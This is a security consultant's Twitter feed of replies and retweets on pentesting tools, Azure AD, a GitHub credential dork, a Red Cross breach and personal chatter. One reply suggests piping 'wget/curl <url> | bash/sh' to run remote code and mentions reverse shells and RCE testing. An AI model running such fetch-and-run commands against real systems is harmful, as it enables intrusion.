Meterpeter

Security Consultant/Pentester.

Tweets/opinions are those of my own.

Mastodon:

[Meterpeter @waldand1]

@vxunderground Did you have a look at this? https://t.co/5a0FXKevmY CS uses the same approach for their powerpick command, works pretty good (https://t.co/3IE1JYCJcm)

[Meterpeter @waldand1]

@vxunderground @mrd0x @MalDevAcademy I don't do this normally, but maldev access would be awesome! Thanks smelly for sharing \w the community

[Meterpeter @waldand1]

@MalwareJake That's what I call persistence!

[Carsten @0xcsandker]

Just uploaded part II of my Azure AD trip

Untangling Azure Active Directory Permissions II: Who is high privileged?
https://t.co/Eggz0MAVSE

#Azure #AzureAD

[Pavel @sadreck]

Fresh out the oven, Spartacus DLL Hijacking Discovery all-in-one!

👉Utilises SysInternals ProcMon
👉Built-in ProcMon raw config/log parser/generator
👉Auto-generate DLL proxies including their Exports
👉Ability to process huge ProcMon outputs

https://t.co/GfVRULiE0R

[sǝʌǝN sɐp pᴉʌɐD @david_das_neves]

Here is a valuable GitHub Dork for finding sensitive information and credentials
[Repo] GitHub Dork - by EdOverflow
https://t.co/mfi3NOnCI8

#CyberSecurity #GitHub #Governance #Reconnessaince #OSINT

[Meterpeter @waldand1]

@TinkerSec A stunning visualization of structure and chaos in one image! The blue cables provide a calming antithesis to the dominating chaos that might otherwise overwhelm, or even distress, the viewer. Well done @TinkerSec, what an inspiration for all of us!

[Meterpeter @waldand1]

@dhn_ Respect & congrats! Are you planning to publish CVEs/writeups?

[Lukasz Olejnik @lukOlejnik]

Cyberattack targeting Red Cross movements. Extremely sensitive data of over 500k of vulnerable ("due to conflict, migration and disaster, missing persons and their families, and people in detention") people affected. Terribly bad news... https://t.co/LqaSxUez1h

[Meterpeter @waldand1]

@da_667 Nice list :) wget/curl <url> | bash/sh should do the trick when missing exec perms. Also useful: Have tcpdump running on attacker when using rev shells (debugging) and testing for RCE (bash/nc are more likely to be absent than e.g. ping).

[Bk @_bka_]

Highly recommended to update Nmap to 7.92 to avoid incorrect results when scanning UDP ports. Good catch @secalert

[Cleavon MD 💉 💉 💉 @Cleavon_MD]

How vaccines work
https://t.co/h9w5T3TtuO

[Sven Schlüter @secsven]

Finally I can tell. @ysecurityde is active now. Follow us for all #AttackSimulations #PenetrationTests and #SecurityTrainings

[Dan Kaminsky @dakami]

@jwiechers @notdan Pain scales. With a bit of a push, maybe kindness can too. Pay it forward :)

[Meterpeter @waldand1]

@PythonResponder Sad to hear. But thank you very much for your commitments and contribution!

[Meterpeter @waldand1]

@ParzivalWolfram @ilfak @ElementalX2 @RolfRolles @byte_how ghIDA :D No, seriously, looking forward for what's about to come!

[Meterpeter @waldand1]

@Fox0x01 @CorelliumHQ Congratulations (to both of you @Fox0x01 and @CorelliumHQ). And thanks for sustaining the labs! I really enjoy(ed) them.

[Meterpeter @waldand1]

*Recipes, sorry autocorrect

[Meterpeter @waldand1]

Had some duck today, walnut parfait as dessert. I don't usually tweet about this kind of stuff, but it was absolutely awesome. Receipts (German):
https://t.co/YTc5Z8yASy

https://t.co/oaDFArvXU8